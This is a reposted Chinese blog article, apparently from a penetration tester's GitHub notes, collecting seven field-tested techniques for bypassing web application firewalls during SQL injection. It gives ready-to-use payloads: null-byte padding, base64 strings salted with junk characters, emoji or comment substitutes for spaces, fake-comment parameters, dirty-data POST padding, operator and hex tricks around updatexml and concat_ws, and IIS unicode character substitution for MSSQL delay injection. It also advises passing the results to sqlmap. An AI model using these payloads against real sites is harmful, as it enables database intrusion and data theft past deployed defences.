这篇文章搜集整理自@Junehck师傅的Github,记录了他在实战中遇到的各种WAF拦截SQL注入的场景和绕过姿势,文章并不是完整的,仅记录了Bypass部分。
https://github.com/Junehck/SQL-injection-bypass
0x01 %00绕过WAF
输入一个单引号

页面报错

首先闭合,这里用')
闭合
keywords=1') %23

order by x 被拦截,用--%0a
代替空格即可

直接上union select
会一直卡着,没有任何返回

把空格都改为--%0a
,成功响应,在 select 跟 1,2,3… 之间用两个 –%0a 会无响应

在 1 后面加上 %00
并 url 编码,原理是 waf 把空字节认为是结束导致了后面的语句可以绕过

0x02 Base64绕WAF
发现参数为 base64 编码

测试字符发现页面报错,使用报错注入来出数据
133 and updatexml(1,concat(0x1,user()),1)
将以上 payload 经过 base64 编码后得到,但发现被拦截了
MTMzIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgxLHVzZXIoKSksMSk=

php 在 base64 解码的时候会忽略特殊字符,我们在 payload 里面穿插!、@、.
来让 waf 没办法识别到,但是后端可以识别,成功注入得到 root 权限
M!T!@MzIGF.@uZ!CB.1c.GR@.h.dGV.4b.@Ww.!oM!!Sxjb@25jYX.Qo@M.Hg.@x.LH.V@.zZXI!oKSksM!S!.k.=

0x03 Emoji绕过WAF
先 order by 获取列数

尝试使用联合注入时就会被拦截,无限等待响应

这里我们使用emoji
方式去代替空格来绕过 waf,成功注入出回显

0x04 注释符绕过WAF
在后面加上 order by 1 被安全狗拦截

WAF 会避免消耗大量内存去匹配危险函数,故会直接忽略”有效注释”中的内容,而攻击者可以构造不存在的参数来实现"伪注释"
,这里我们构造
http://xxxx/xxxx.asp?a=/&id=1308%20order%20by%2035&b=/ order by 35 正常

那么这里就无任何拦截了,可直接交给 sqlmap

0x05 脏数据绕过WAF
页面搜索功能尝试输入单引号,页面 500 报错并输出了报错信息

这里竟然有报错我们就想着使用报错注入,但是含有类似于updatexml
这种关键字直接拦截

因为 get 绕过姿势较少,我们尝试把数据通过 post 发送,发现后端也接收,那么这里使用脏数据
来绕过
大量数据&searchText='or updatexml(1,concat(0x1,user()),1) and '1'='1

0x06 关键字替换绕过WAF
单引号页面报错

这里我们打算使用 updatexml 来进行报错输出,在 url 后面添加 and 发现并没有拦截,但是如果在 and 后面空格然后跟 updatexml 直接被拦截

这里我们的绕过方法是用运算符,and (+-/^)
发现并没有被拦截
keywords=11'and-updatexml()

Updatexml
参数为数字时被拦截
keywords=11'and-updatexml(1,1,1)

这里可以使用16
进制或者科学计数法0x1
或1e1
keywords=11'and-updatexml(0x1,,0x1)

我们首先闭合一下后面的单引号,在后面加上and'
让他配合原有的单引号把%包裹起来
keywords=11'and-updatexml(0x1,,0x1)and'
现在我们来构造报错内容,concat
函数被拦截,这里使用 concat_ws()
函数,将后面的参数用第一个值来分割,然后配合@@datadir
输出路径
11'and-updatexml(0x1,concat_ws(1,0x7e,@@datadir),0x1)and'

0x07 中间件特性绕过WAF
首先通过-1 /1/0
运算判断出存在数字型 sql 注入,一般来说 asp 都是用 access,这里使用--%0a
的方式来构造 payload 也能正常执行,判断出这里为 mssql
这里的测试 payload 是:
--随机字符%0a AND--随机字符%0a1=1

在 asp+iis 的环境下unicode
在 iis 解析之后会被转换成 multibyte,但是转换的过程中可能出现:多个 widechar会有可能转换为同一个字符
打个比方就是譬如 select 中的 e
对应的 unicode 为%u0065
,但是%u00f0
同样会被转换成为e
o --> %u004f --> %u006f --> %u00ba
e --> %u0045 --> %u0065 --> %u00f0
首先测试延时 payload,将里面的o
替换为%u00ba
,返回时间正常
WAITF%u00baR%20DELAY%20%270:0:0%27

改为 1,页面返回 3 秒,执行了 3 次,不管输入多少都会被乘 3

写个 tamper 即可使用 sqlmap 跑

如有侵权,请联系删除
转自潇湘信安

好文推荐
